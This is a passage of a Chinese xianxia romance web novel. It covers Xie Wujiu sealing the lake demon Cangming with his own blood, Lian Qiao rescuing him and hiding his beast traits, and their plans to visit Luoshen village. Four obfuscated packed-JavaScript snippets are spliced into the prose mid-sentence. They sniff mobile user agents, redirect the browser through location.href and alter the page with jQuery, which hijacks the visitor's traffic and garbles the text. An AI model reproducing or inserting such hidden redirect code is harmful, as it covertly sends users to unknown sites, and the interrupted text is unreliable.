笼罩水下宫殿的透明屏障已经破碎,发光的鱼群没有方向地乱窜,谢无咎灵活地避开四处游弋的守卫,朝着深处潜去。沧溟的本体——那座巨大的宫殿正在缓缓蠕动,伸出许多条章鱼手臂在水中舞动。 “找到你了。”谢无咎眯起眼睛,看向沧溟身下那个散发着血腥味的青铜鼎。就在他即将靠近时,整座宫殿突然剧烈震动,一条粗壮的手臂横扫而来。 少年身形一闪,银铃化作短刃斩断触须。更多的手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15375249|168305||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 臂从宫殿底部冒出来,谢无咎在狭窄的缝隙中穿梭,艰难地朝着青铜鼎的方向行去。 他双手捏诀,靛青色的火焰熊熊燃烧蔓延成火海,将附近作为沧敏眼睛的贝壳灯灼烧得闭合起来,迸出一股股粘稠的液体,在接触到少年衣角的瞬间腐蚀出一道道裂口。 “嘶,”他嫌恶地皱眉,“确实很恶心啊。” 终于,他一个翻滚落在盛满浑浊血液的青铜鼎前。 他把曈昽注入手中银铃,幻化成两枚小巧精致的匕首,接着用指尖划过匕首锋利的边缘,将鲜血滴入青铜鼎中。 血液接触鼎身的瞬间,地面上烙印的符文次第亮起,幽蓝光芒顺着龟裂的脉络流淌。 "果然有用。"他低笑一声,又拿起匕首往手腕上来了一道。 沧溟的嘶吼透过水波传来,庞大的身躯剧烈抖动,震得四处簌簌落灰。七根金针从谢无咎眼前浮起,感应着妖气向上方飞去。 过了一会儿,滴答下落的鲜血止住了,远处金针朦胧的光亮停在半途。 谢无咎举起匕首,面无表情地在原先的伤处上又更重地划了一下。鲜血涌出的瞬间,他的皮肤表面浮现出黑色纹路,指甲变得尖锐起来。 金色的光芒随着鲜血坠入鼎中的声音越飞越远。 "杀光他们……" 不知何处响起黏腻的低语,诉说着内心最深处的想法,像是贴着他的耳畔传来。 "看见了吗?那些修士虚伪的面具……" 声音化作无数细小的虫豸,啃噬着他的理智。 “你明明可以……” “撕碎他们的喉咙……” “就像当年那样……” “够了!” 谢无咎的喉间溢出低吼,猛地咬破舌尖,铁锈味在口腔炸开。他单手结印,迫不得已把一枚匕首重新化为银铃,绕在手腕上发出清越声响,勉强压住翻涌的杀意。 “可怜…无能软弱之辈……”声音逐渐不甘心地低下去。 少年松了口气,但皮肤表面细密的黑色纹路不褪反增,他的耳朵逐渐变得长而尖,上面生出毛发,像某种凶兽的鳞甲。 "真是...麻烦啊..."他侧耳听了下上方的战斗声,喘息着又划开一道伤口。 沧溟的挣扎似乎越来越弱了。寂静的湖底,谢无咎能听见自己骨骼咯咯作响的声音——翻涌的暴戾与杀戮的欲望正在侵蚀他的理智。 说不上是失血过多的缘故,还是共生蛊的两个宿主离的太远引起的连锁反应。 谢无咎视野边缘泛起血色,银铃在手腕徒劳地叮咚作响。 每滴落一滴血,诱哄的低语就在脑海中回荡一次。但银铃的声音始终未断,像一根细线般拽着他摇摇欲坠的理智。 就在意识即将被吞没的瞬间,头顶突然传来"咚"的一声闷响。少年迟缓地抬头,看到不远处飘着一团熟悉的桃红色——连翘正用避水符撑开气泡,跌跌撞撞地往这边赶。 少女绣着金边的裙摆,绽放在水里,像是一朵凝着朝露的花。 "谢无咎!"她的声音透过水波传来,失真得有些滑稽,"你脑子进水了吗!" 8. 第 8 章 少年瞳孔微缩。染血的指尖无意识抬起,又硬生生收回,站在原地没有动。 心底的凶兽发出不满的咆哮。 连翘桃红的裙摆绣着金灿灿的花纹,一看就是富贵人家娇养出来的姑娘。而如今这姑娘鬓发凌乱,裙摆破破烂烂,抖着手腕顶着巨大的阻力推动水泡前行。 避水符的功效只是撑开一个供人呼吸的空间,如今在湖底巨大的水压和连翘急切的动作下,水泡的边缘晃来晃去,活像只气急败坏的河豚。 "看什么看!"她瞪圆眼睛,"本小姐大发慈悲来救你,还不快——" 滚过来。 话音未落,水泡骤然破裂,连翘"哇"地一声被灌了一口冰凉的湖水,下一秒她就被少年拉进怀里,滚烫的蓝色火焰蒸腾了周围的水。 身上立刻被对方皮肤下汹涌的凶煞之气烧得滚烫,疼得她龇牙咧嘴。 "你..."谢无咎的声音哑得不成样子,"回来...干什么..." 连翘一把揪住他衣领。凑近的瞬间,两人都愣住了——谢无咎的瞳孔已经变成野兽般的竖瞳,而连翘的眼底倒映着他脸上蔓延的黑纹。 少年动作一僵,扯着她的手就想把她推开。 又因为眼前不会法术的姑娘离开这火焰的保护除了呛死没有别的出路,而停住了动作。 连翘定睛瞧着他脸上诡异的黑色纹路。 那纹路如同活物般在谢无咎瓷白的肌肤上游走,从眉骨蜿蜒至颈侧,在幽蓝火光映照下泛着妖异的光泽。 少年眼尾上挑的弧度被黑纹勾勒得愈发锋利,薄唇紧抿成一条紧绷的线,整个人像柄出鞘的凶器。 一个字,帅; 两个字,很帅; 三个字,特别帅。 她想,现在拍个照做模特图,这种款式的纹身贴一定可以在网购平台上成为销冠。 耳畔的系统警报声此起彼伏,从一开始警告她高危操作到现在通知她男二的黑化度又大幅提升,让她尽快采取干预措施。 连翘充耳不闻,她顺着谢无咎推她的动作松开了他的衣领,手指戳了戳他发烫的额头。 少年的瞳孔里翻涌着暴戾与嗜杀的情绪,脖颈处青筋暴起,手腕上自己割开的伤口却还滴着血。 分明是在救人的。 "坏了,"她突然笑出声,声音里带着发现稀有物种的惊奇,"你还真是个好人啊,小谢同志。" 凶煞之气骤然一滞。 少年原本凌厉的眉峰无意识地松开了,长睫上还挂着水珠,随着眨眼的动作轻轻颤动。喉结上下滚动时,颈侧的黑纹也跟着微微起伏,像被惊扰的蛇。 他嘴角绷紧的线条突然软化,露出一个介于凶狠与困惑之间的表情。 "都这样了还惦记着救人,要不先救救自己吧。" 连翘变戏法似的摸出个玉瓶,倒出三颗赤红丹药。 "吃糖吗?特甜。" 谢无咎盯着她脏兮兮的掌心,突然低笑起来。笑声牵动伤口,咳出的血沫落在连翘手上。 "笑屁!"她的笑消失了,粗暴地把药丸塞进他嘴里,"本小姐的糖很贵的!" “也就你这种败家子才会把千金难求的回春丹当糖豆。” “拿人手软,吃人嘴短。”连翘伸手不由分说捏住少年张合的唇瓣,“小嘴巴,闭起来,别说姐姐我不爱听的话。” 丹药入喉化作暖流,暂时压住了体内的躁动。 谢无咎这才发现连翘腰间别着的不再只是熟悉的绣囊——芸娘的女儿阿囡的长命锁正系在上面,带着令人震惊的浓郁曈昽,随水流轻轻晃动。 "她们同意了。" 连翘顺着谢无咎的视线解释,手指轻轻抚过长命锁上斑驳的刻痕。 "活人的命永远是最重要的——这是阿囡最后告诉芸娘的事情。" 方才连翘转身要下山时,阿囡冰凉的小手突然拽住了她的。小女孩鬼魅般苍白的脸上,那双没有瞳孔的眼睛泛起微光。她腐烂的指尖轻轻解开颈间的绳结,将那枚斑驳的长命锁塞进连翘的掌心。 锁片触碰到肌肤的瞬间,连翘眼前闪过无数记忆碎片。 ——芸娘颤抖着系上红绳的手指,十年前雷电交加的暴雨夜,被推出湖面的小船,二十七个修士的毕生修为被硬生生抽离出来…… 最后一切定格在阿囡腐烂的小脸上,女孩努力地张开嘴,手指指向芸娘,冲她做出口型:“换…换……” 连翘握紧长命锁,她突然明白过来,这些孩子在芸娘的帮助下吞噬修士,为的就是积攒足够的灵力将沧溟永远的封印起来。 即使没有碰上恰好途径无渡泽且血脉特殊的谢无咎,她们也能凭借自己的力量完成这一切。 阿囡的身影开始变得透明,她最后拥抱了一下痛哭不止的芸娘,又指了指湖心方向。 其他雨童也纷纷围过来,她们腐烂的小手依次触碰长命锁。 每碰一下,锁片就亮一分。 当最后一个雨童完成这个仪式时,所有孩子都化作了细碎的光点,萦绕在长命锁周围。 连翘垂下眼睛,她解开长命锁,将它悬在青铜鼎上方。 锁片在幽蓝的水光中微微晃动,突然迸发出刺目的金光。 谢无咎眯起眼,看到无数细小的光点从锁片中飘散而出。 ——那是被吞噬的二十七位修士的全部曈昽,此刻正裹挟着雨童们百年积攒的灵力与精魄,如星河般倾泻入鼎。 轻快的童谣声在漫天光点中唱起来。 荷叶圆圆撑绿伞, 菱角尖尖藏白衫。 阿妹摇橹拨清波, 采得满筐笑弯弯。 阿爹编个草蝴蝶, 阿娘蒸块糖糕甜。 晚霞染红小竹篮, 炊烟唤归柳岸边。 童谣在连翘耳边轻轻回荡,她仿佛看见—— 两百年前的夏至,扎红绳的小女孩赤脚踩在船头,新摘的莲蓬堆成小山; 一百年前的立秋,穿补丁裙的姑娘偷偷把最大菱角塞进妹妹的兜兜; 去年清明的薄雾里,芸娘把编好的蚂蚱放在岸边,等着永远等不到的女儿来取...... 二十多个孩子的笑声在水底轻轻荡漾。 她们腐烂的手指曾多么灵巧,会编花绳,会折纸船; 会为哭闹的妹妹轻轻擦去眼泪, 会在每个黎明, 把沾着晨露的野花, 插满破旧的窗棂。 "这些孩子..."连翘拼命地眨着眼睛,声音轻了下来,"她们知道吞食修士是错的。但那些灵力让她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15375250|168305||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 们能够活下去,变得足够强大,强大到能把自己的精魄也炼进这枚长命锁。" 青铜鼎中的血阵突然剧烈旋转,将金光尽数吞噬。 地面奇特的符文接连亮起刺目的光芒,比先前谢无咎用血激活时还要耀眼数倍。 "她们要用这个镇压沧溟。"连翘看着金光在鼎中凝结成翻涌的光雾,"让那怪物永世不得超生——" 她顿了顿。 "作为交换,她们希望芸娘的过错能不被追究,她能够继续平平安安地活下去。" 谢无咎抬眼看着被光雾托举着逐渐逼近水面的铁链。最纯净的曈昽与最污浊的妖气相互撕咬,竟形成某种诡异的平衡。 "值得吗?"他突然问。 连翘把长命锁系回腰间,抬头时眼底映着鼎中的金光:"你问我,还是问她们?" 不等回答,她已自顾自说了下去:"阿囡说,被献祭的那天,她用手指一笔一划摩挲着长命锁上的字,熬过了最疼的时刻。现在她终于能……救下本该被献祭的下一批孩子了。" 宫殿突然剧烈震颤。谢无咎一把扶住摇晃的连翘,发现她掌心全是冷汗——这丫头根本不怕沧溟,却在为那些雨童发抖。 “我不否认阿囡很无辜,所有被牺牲的孩子都很无辜,芸娘只是一个被逼无奈的母亲,她所作的选择可以理解。” “但仇恨与怨念是无穷无尽的,总得有人为这件事做个了结。” "所以啊,"连翘反手抓住他的手腕,力道大得惊人,"修士的命是命,渔民的命也是命。已经死去的...就别再拖活着的人下水了。" 她眼底烧着灼人的光,像是撕裂黑暗的第一抹晨曦。 "活人的命永远是最重要的,不要活在过去里。" 谢无咎望着她睫毛上将落未落的水珠,突然想起很多年前,也有人对他说过类似的话。 那是镇厄宗的后山,鲜少有人能踏足的禁地,陡峭的山壁上刻满朱砂符咒,每一道沟壑都流淌着暗红色的血渍。 十八根玄铁锁链从山巅垂落,锁链上悬挂的青铜铃铛无风自动,发出令人毛骨悚然的声响。 山道两侧立着三十六尊石像,皆是历代镇守此地的长老模样。石像空洞的眼眶里燃着幽幽磷火,但凡有活物经过,便会齐刷刷转动头颅。 这里,是整个镇厄宗最核心的地方。 ——镇妖井。 井里的不是水,是血。 粘稠的、泛着尸蜡味的血。 井底布满了白森森的肋骨架,满地骷髅架子一般无二,根本瞧不出生前是什么模样。四面八方都是凄厉的尖叫与绝望的哀嚎,这是一个宛若人间炼狱的夜晚。 无边的死寂中,井口的月光曾相当慷慨地劈头盖脸砸下来。 "小谢哥哥,活下去是最重要的。" 记忆里的手比连翘的更小,更加冰凉。 "你要活着...为了明天和未来而活着..." 青铜鼎突然发出嗡鸣,少年骤然回神。沧溟的嘶吼变成痛苦的哀鸣,四周半透明的屏障如同逆流而上的水一般节节攀升,笼罩住了这个挣扎逐渐微弱的庞然大物。 "阵法启动了!过不了多久困住沧溟的屏障就会重新生成。" 谢无咎猛地拉起连翘。 "走!" 9. 第 9 章 当两人浮出水面时,正好看到残余的守卫被七道金光重新锁入深渊。芸娘撕心裂肺的哭嚎刺破天际,远远地传到岸边,晨光中飘起了细密的雨丝。 "看吧。"连翘眼睫垂下片刻,旋即得意地甩了甩湿漉漉的头发,"本小姐出马——哎哟!" 谢无咎突然整个人压过来,额头抵在她肩上。连翘这才发现他身上那种诡异的黑纹还未完全消退。 "喂!别死啊!" 她手忙脚乱地掏香囊找药瓶,十分担心自己的小命。 "我还没睡到你师兄呢,你要是这时候害我死了……” 她想了想,人都死了,确实没有什么能威胁别人的办法,但恐吓一下还是做得到的。 于是阴恻恻地凑近谢无咎耳边,用飘忽的气音继续道: “我就死死地缠着你,缠着你,缠着你,你若转世为蚊虫,我便化作蜘蛛网;你若成为檐下燕,我便拆了你的巢;你若做了绣花针,我便拿你纳千层底,让你永远不得安生……" 可以,这很女鬼了。 连翘终于从香囊中摸出了药瓶,心中暗暗得意,却猝不及防眼前一黑。 按照她设想就算没有吓得魂飞魄散,也应该起了一身鸡皮疙瘩的少年抬手,遮住了她的眼睛,闷闷的笑声震得她肩膀发麻。 “好啊,”他尾音上扬,又补充,"放心……死不了。” 停顿了一下,谢无咎继续说。 “不过你要喜欢我师兄的话,是没结果的。" 咦? 有点意外他会主动跟自己提及这个话题,连翘忍住了拍开他手的冲动,好奇地问。 “为什么这么说?” 谢无咎抬起头来,手掌仍覆在她眼前,呼吸喷在她发顶,像是一阵吹面不寒的风: “明眼人都能看出来吧,师兄和叶姐姐两人只隔着一层窗户纸了。” 原来你也知道啊。 还是在这么早的时候就知道了。 连翘的睫毛在他掌心轻颤,突然想起系统任务给出的信息里,谢无咎最终被叶望舒拒绝后黑化的情节。 她一直觉得谢无咎并不是真的喜欢叶望舒,只是像条饿疯了的野狗,盯着谢凛手里的每块骨头——每一个谢凛拥有但他没有的,他都想抢过来。 可叶望舒是个活生生的、有自己选择的人,而不是谢凛的战利品。 占有欲也只能构成爱的一小部分,它永远都没法成为真正的爱。 谢无咎是一个到死——到被男女主收入补天石成为修补浊气裂缝材料的终局,都不明白什么是喜欢、什么是爱的家伙。 水珠顺着她湿漉漉的头发滑落,在刚刚被少年捂热的肩颈处积成小小一洼。 湖水的寒意突然渗进骨髓,她沉默了片刻,道: “把你爪子给我松开。” 头顶传来低笑:“知道自己没希望所以恼羞成怒了?” “说什么呢?”连翘猛地抓住他手腕,力气大得惊人,“别说还隔着一层窗户纸呢,就是情侣也会分手,夫妻也会和离。” 她声音越拔越高,像把出鞘的匕首。 “但一切的前提是这份喜欢是真真切切,不作假的。” 谢无咎的手僵在半空,像是一个齿轮突然卡住的木偶。连翘这才发现自己的失态——说到底,她对谢凛也完全称不上真真切切。 她仓皇松手,却听见布料窸窣声,少年反而更用力地捂住了她的眼睛。 手指扣得很紧,她甚至可以闻到对方手腕未愈合的伤口传来的淡淡的血腥气。 这是划到动脉了吗?三颗回春丹都没能让伤口复旧如初。 “而且……”连翘咬牙,喉头发紧,“我让你撒开手,就是单纯让你撒开。什么都看不见很难受的。” “不要。”谢无咎拒绝得干脆利落,不带一丝迟疑,“我身上……”他顿了顿,“衣服破了很大一个口子,还请你非礼勿视。” 衣服破了?哪里破了?还能用上非礼勿视这个词? 连翘脑中黄色废料一堆,本都要脱口而出,说到破了一个很大的口子,你那里,大不…… 可眼前是一片隔着少年的手掌也能感受到的炽热橘红,她突然明白过来——此处不像湖底光线昏暗,谢无咎是不想让自己看见他身上还未褪去的毛发与纹路。 眼睛会变红、会咬人吸血是一回事,身上出现奇怪的纹路和妖兽的特征是另外一回事。 前者或许还可以用罕见的病症来强行解释,后者却是仙门公认的邪门歪道,被发现了是要逐出师门、打入地牢,受万人唾弃的。 “放心,撒手。”她放软声调,手指轻轻搭在他手腕脉搏处,“姐不怕。” 反正她也不是仙门中人,她可以不懂得这些规矩。 掌心肌肤下,谢无咎的脉搏跳得又快又乱,让连翘忍不住担心这人下一秒就会晕过去。 他声音哑得不成样子:“真不怕?” “大哥,你咬我脖子的时候,也没见你担心这个呀?” 连翘无语,旋即坚定点头。 “我真不怕。” 这句话像道咒语。 覆在眼前的手掌终于缓缓移开,连翘首先看到的,是谢无咎还没来得及收回的布满黑色纹路的手背。 再往上是他熟悉的猩红色竖瞳,和发间露出的尖尖的、带着短毛的耳朵——此刻正可怜巴巴地耷拉着,沾满水珠的绒毛在晨光中泛着细碎金光。 就这? 兽耳啊,简直仙品。 连翘突然伸手,摸了摸那双不太像人类的耳朵。 耳尖的毛发有些硬,刮在掌心里痒痒的,但耳根处的绒毛则要细腻得多,摸起来柔软又治愈。 她笑出声来,对舒适的手感满意不已。 "毛茸茸有什么好怕的?" 谢无咎浑身一僵,耳朵在她掌心不自觉地抖了抖。 "你——"他的声音卡在喉咙里,耳尖以肉眼可见的速度红了起来,忍了片刻一把拍开她作乱的手,却因为动作太大牵动了伤口,疼得倒吸一口凉气。 连翘立刻变了脸色,同步痛了起来,她手忙脚乱地去打开怀中药瓶:"让你乱动!活该!" 少年看着她焦急的样子,突然轻笑出声:"大小姐。" "干嘛?"连翘凶巴巴地瞪他。 "你刚才说……"谢无咎慢悠悠道,"要是……睡不到师兄,就要死死缠着我来着?" 连翘的手顿了一下,随即“伤敌一千,自损八百”地用力按在他的伤口上:"是啊,怎么?你有意见?" "没有。"谢无咎疼得龇牙咧嘴,却还是笑着,"就是突然觉得……" 他话没说完,远处突然传来叶望舒的喊声:"阿咎!你没事吧?" 谢无咎皮肤上的纹路已经褪去了,耳朵仍然毛茸茸的。他立刻收敛了笑意,整个人紧绷起来,看起来打算不管身上的伤口,转身回到湖水里泡着。 “喂,你就在此地,不要走动。” 连翘一把摁住他的肩膀,大方地伸手替他捂住还没完全变回原样的耳朵。 她撇撇嘴,小声嘀咕:"胆小鬼。" 当叶望舒和谢凛赶到时,看到的就是这样一幕: 连翘双手捂着谢无咎的耳朵,像模像样地安抚着“呼噜呼噜毛,吓不着”;而向来打架的时候嘴都停不下来的少年居然一声不吭地乖乖坐着任她摆布,一点反抗的动作都没有,只是整个人从脖颈红到了耳根。 "你们……"叶望舒眨了眨眼,突然露出促狭的笑容,"看来相处得不错?" 连翘立刻扬起灿烂的笑脸:"叶姐姐!你们没受伤吧?"她保持着捂耳朵的动作,"这家伙刚才差点被浪卷走,幸亏本小姐眼疾手快……" 谢无咎配合地咳嗽两声,顺势把脸埋得更低。 谢凛的目光落在谢无咎湿透的后襟上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15375251|168305||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :"伤得重?" "特别重!" 连翘抢答,手指在谢无咎耳后警告性地掐了一下,堵住了少年要开口说的话,煞有其事道。 "要不是本小姐危机时刻及时赶到,你说不定就再也看不到你师弟活蹦乱跳的样子了!” 谢凛的目光在两人之间转了一圈,难得地开口:"辛苦了,阿咎,身上的伤给我……。" 他作势要蹲下来查看谢无咎的伤势。 掌下的耳朵在发抖,挠得连翘掌心痒痒的,她打断道。 “为了报答我的救命之恩,这位兄弟,你是不是应当替你师弟以身相许一下?" 谢凛:“……” 一个人是怎么做到能够理直气壮地说出这么没有逻辑的话? 他蹲身的动作停住了,顺道还拉走了站在一旁同样神情关切的叶望舒。 “身上的伤我们回去再看。” 临要走之前,谢凛落下一句话。 这个心理素质,还是有待提高,连翘看着男主慌不择路的背影。直到他们的身影消失在拐角,她才长舒一口气,瘫坐在岸边。 "演的真差。" 谢无咎的声音闷闷地从她怀里传出。 “你要是去唱戏,台子上一定全是观众扔的臭鸡蛋烂白菜。” 连翘这才发现还抱着人家的脑袋,赶紧松手:"你以为我想啊!"她揪住那对不安分的兽耳,"还不是为了帮你……" 话音戛然而止。 晨光下,少年仰起的脸庞干干净净,哪还有半点兽化的痕迹。只有被她揪着的耳朵尖还泛着可疑的红色,随着呼吸轻轻颤动。 "看够没?"谢无咎挑眉。 连翘没有撒手,反而勾起唇角,指尖轻轻碰了碰谢无咎滚烫的耳尖。 "哎呀——"她拖长声调,眼睛亮得惊人,"原来谢公子这么喜欢被我摸耳朵?早说嘛~" 谢无咎以肉眼可见的速度熟了起来。 "要不要……"连翘凑得更近,呼吸拂过他微颤的睫毛,"姐姐再摸摸别的地方?" "你……"谢无咎的喉结滚动了一下,正要反驳,却被连翘突然拽着袖子转向湖面。 "看!日出。" 她语气轻快,仿佛刚才的暧昧从未发生。 晨光刺破云层,将整片无渡泽染成金红色。昨夜翻涌的浊浪此刻温柔地舔舐着岸边,每一道波纹都裹着细碎的光。远处青山如黛,几只白鹭掠过水面,惊起一圈圈荡漾的涟漪。 谢无咎怔怔望着她映满晨光的侧脸。少女睫毛卷曲,随眨眼的动作轻轻颤动,像停驻的蜻蜓。 两百多年来这片湖泊带给这里渔民的恐惧和灾难,二十多个小女孩的性命,连同昨夜的腥风血雨,似乎都在阳光下化作易碎的泡沫,很快便消散了。 "喂。"连翘突然转头,差点撞上他的鼻尖,"你觉不觉得……" 谢无咎迅速后退半步:"什么?" 他避之不及的模样让连翘诧异地挑了挑眉毛,但她很快反应过来,得意地扬起下巴,发梢的水珠甩到他脸上。 "想什么呢?该不会被本小姐的美貌震撼到说不出话了吧?" 谢无咎:“……” 就不该指望她嘴里说出什么好话来。 谢无咎抹了把脸,嘴角勾起不怀好意的微笑,指向她身后:"你鞋……" 连翘顺着他的指尖望去,这才发觉自己脚上的鞋不知在何时竟然掉了,此时已经随着退潮的湖水一并褪去,在湖面上越漂越远。她倒吸一口凉气,拔腿就要往水里冲:"我的珍珠履!" "回来。"谢无咎拎住她后领,"为了一双鞋不要命了?你不是很有钱么?" "那可是二百五十两!"连翘痛心疾首地比划,"我的钱又不是大风刮来的,每一分一文都要用在刀刃上啊。" 少年没有答话,只是揪着她的后颈,带着她向村子的方向走去。 10. 第 10 章 一行人在村子里又停留了几天。 连翘揉着酸痛的肩膀,在心里把谢无咎骂了个狗血淋头。 现代社会献血一次最多400cc,这家伙倒好,一天之内先是被刺破肩膀,又割手腕放血布阵,少说也得有1500cc。 要不是她大发慈悲塞了几颗回春丹,这厮可不是短暂地歇上两天就能好起来的。 偏偏真正的伤员毫无身为一个伤患的自觉,每天东奔西窜不知在忙些什么。 这可就连累了与他共享痛觉的连翘,她每天醒来都浑身难受、有气无力,叶望舒还以为她是睡不惯硬床板,连翘真是有口难言。 少女颇为无奈,打算从根源解决问题。她拍了拍脸颊振作精神,准备去找村民借点红糖给那个不知死活的家伙补补血。 刚走到村子废墟,她就听见几个村民蹲在晒谷场边小声嘀咕。 "等二白从落神村回来,问问他有什么办法没有吧。"一个老汉叼着旱烟,"天灾人祸,世事无常,我们总要有房子住才行啊。" "可不敢去!"旁边的大婶直摆手,"那个落神村不是邪性得很吗?" 连翘耳朵立刻竖了起来。她猫着腰凑近几步,假装整理裙摆。 "那都是无能的修士以讹传讹,二白之前断了腿,不就是落神村的村长将他医好的么?" 老汉压低声音。 "要我说,这村长神通广大,乐于助人,是个不折不扣的好人呢!" 系统提示音悄然响起: 【任务二,阶段二任务即将开启】 【新线索触发,落神村与二白】 连翘"咔嚓"踩碎一根掉在地上的枯枝。村民们闻声回头,她赶紧挤出个笑脸:"这位阿叔,您说的落神村…是不是湖对面山脚下那个?" 老汉警惕地打量她:"姑娘问这做甚?" "哎呀,我有个远房表姐嫁到那儿了。"连翘信口胡诌,脑筋转得飞快,"叫……叫百里湘,您听说过吗?" 村民们面面相觑。大婶突然一拍大腿:"这名字听起来倒确实有些耳熟……" 话没说完就被老汉拽住衣袖。连翘正要追问,身后突然传来谢无咎的声音:"喂!" 她回头,看见少年抱臂倚在磨盘边,脸色仍有些苍白,眼神却清明锐利。他指尖挂着她的珍珠绣鞋,在晨光里一晃一晃:"你的二百五。" 连翘:“?” 连翘:“你才二百五。” 她小跑过去,决定大事当前先不和他计较这些,压低声音:"你听见没?落神村..." "嗯。"谢无咎把鞋塞给她,目光扫过满面愁容的村民,"二白是谁?" 老汉颇为谨慎地说:"就、就村里一个后生..." "什么时候回来?"谢无咎问得随意,面上笑意盈盈,手指却无意识摩挲着腰间的银铃。 大婶歪着脑袋想了下,道:"按照往常惯例的话,应当得晌午了..." 连翘甜甜一笑:"那麻烦阿叔阿婶,到时候跟我们说一声呀~我们要去落神村寻我表姐,想同他打听一下呢。" 得了大叔大婶们热情洋溢的保证后,她拽着谢无咎往村口走,声音压得极低: "听见没?百里湘果然在落神村!" “听见了,”谢无咎任由她拉着,语气敷衍,“两只耳朵都听见了。” 两个人各怀心事地走出小半里路,连翘突然跺脚,懊恼道: “都怪你,害我忘了正事儿。” “你能有什么正事?”谢无咎狐疑地打量她。 “你什么意思啊?”连翘杏眼圆睁,双手叉腰,道,“我就不能有正事儿了?” “比如?”谢无咎好整以暇地抱臂看她。 “当然是……” 连翘几乎要脱口而出,突然想到十个病娇白切黑里面八个半都是恋痛癖,受了伤从来不处理,但她可没有这个喜好,也遭不了这个罪。 于是她板起小脸,一本正经道:“抱歉,我这个人很严格的,要追我的话请靠自己的努力打听我的喜好与生活习惯,禁止直接询问我走捷径。” 谢无咎明显一噎,眉头皱得能夹死苍蝇:“你……” 他伸手就要探她额头:“是不是上次落水时脑袋进了太多水?” 但少女没有应答,只是冲他比了个中指,然后提着裙摆扭头朝来路跑去了。 半个时辰后,连翘端着熬好的红糖水来到谢无咎暂住的茅屋外。正要敲门,却听见里面传来谢凛冷峻的声音: “你太冲动了。若是那姑娘没有及时赶到……” “师兄是专程过来教训我的?”谢无咎的声音带着罕见的尖锐,“还是说想确认一下我是不是又给你丢脸了?” “阿咎!”谢凛的声音陡然提高,“我是担心你!” “担心?”谢无咎冷笑,“那抱歉了师兄,我真是一点儿都没听出来。今天我心情不太好,要是没什么事的话您就先请回吧。” “吱呀”一声,门突然被推开。连翘端着碗站在门旁听墙角听得正欢,还来不及藏好身形,正撞上阴沉着脸出来的谢凛。 两人四目相对,空气一时凝固。 “谢大哥~” 连翘到现在都对系统当时给予的痛感处罚都感到心有余悸,见躲不过立马凑上前来,换上甜腻的声调。 “要喝红糖水吗?” 谢凛皱眉:“你是要给阿咎送去?” “怎么?”连翘眨眨眼,“你吃醋啦?” 谢凛的眉头皱得更紧了:"姑娘家说话要庄重些。" 连翘闻言立刻收起笑容,挺直腰板:“谢大哥这话说的,说话还要分男女?难道男的就能满嘴粗鄙之语了?况且我也没说什么呀。” 她故意学着谢凛的语气:“男孩子说话要斯文些——” 谢凛一时语塞,突然发觉这姑娘看起来嬉皮笑脸,实际上思维敏捷,牙尖嘴利得很。 “我并非此意……” “那是什么意思呢?”连翘乘胜追击,眼睛亮晶晶的,“莫非您觉得,女子天生就该低眉顺眼、轻声细语?作为姑娘,直白地表达爱慕就是粗俗浪荡不检点?” 男主之所以能成为男主,总得有些优点。谢凛知错能改,闻言抱拳郑重道: “是在下失言了,只是姑娘的好意我无法回应,还请下次不要再打趣在下了。” 说罢,他似乎生怕她又说些什么,侧身绕过连翘,头也不回地走了。 不愧是洁身自好的冰山男主,拒绝得可真是够快的。 连翘吐了吐舌头,端着碗进屋,对上了谢无咎阴沉的脸色——好家伙,比起他师兄有过之而无不及。 “谁让你来的?”他冷冷道。 “嘿, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15375252|168305||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 脚长在本小姐身上,自然是我爱去哪就去哪。” 连翘把碗往桌子上一放。 “而且,人长嘴巴是用来喝药的,不是用来气人的。” 谢无咎盯着那碗冒着热气的红糖水,突然嗤笑一声:“我们才认识多长时间,你了解我吗,知道我是什么人吗,就敢不打招呼闯入我的房间,叫我喝下这碗看起来色泽诡异的东西。” “什么话,什么话,哪里色泽诡异啦?” 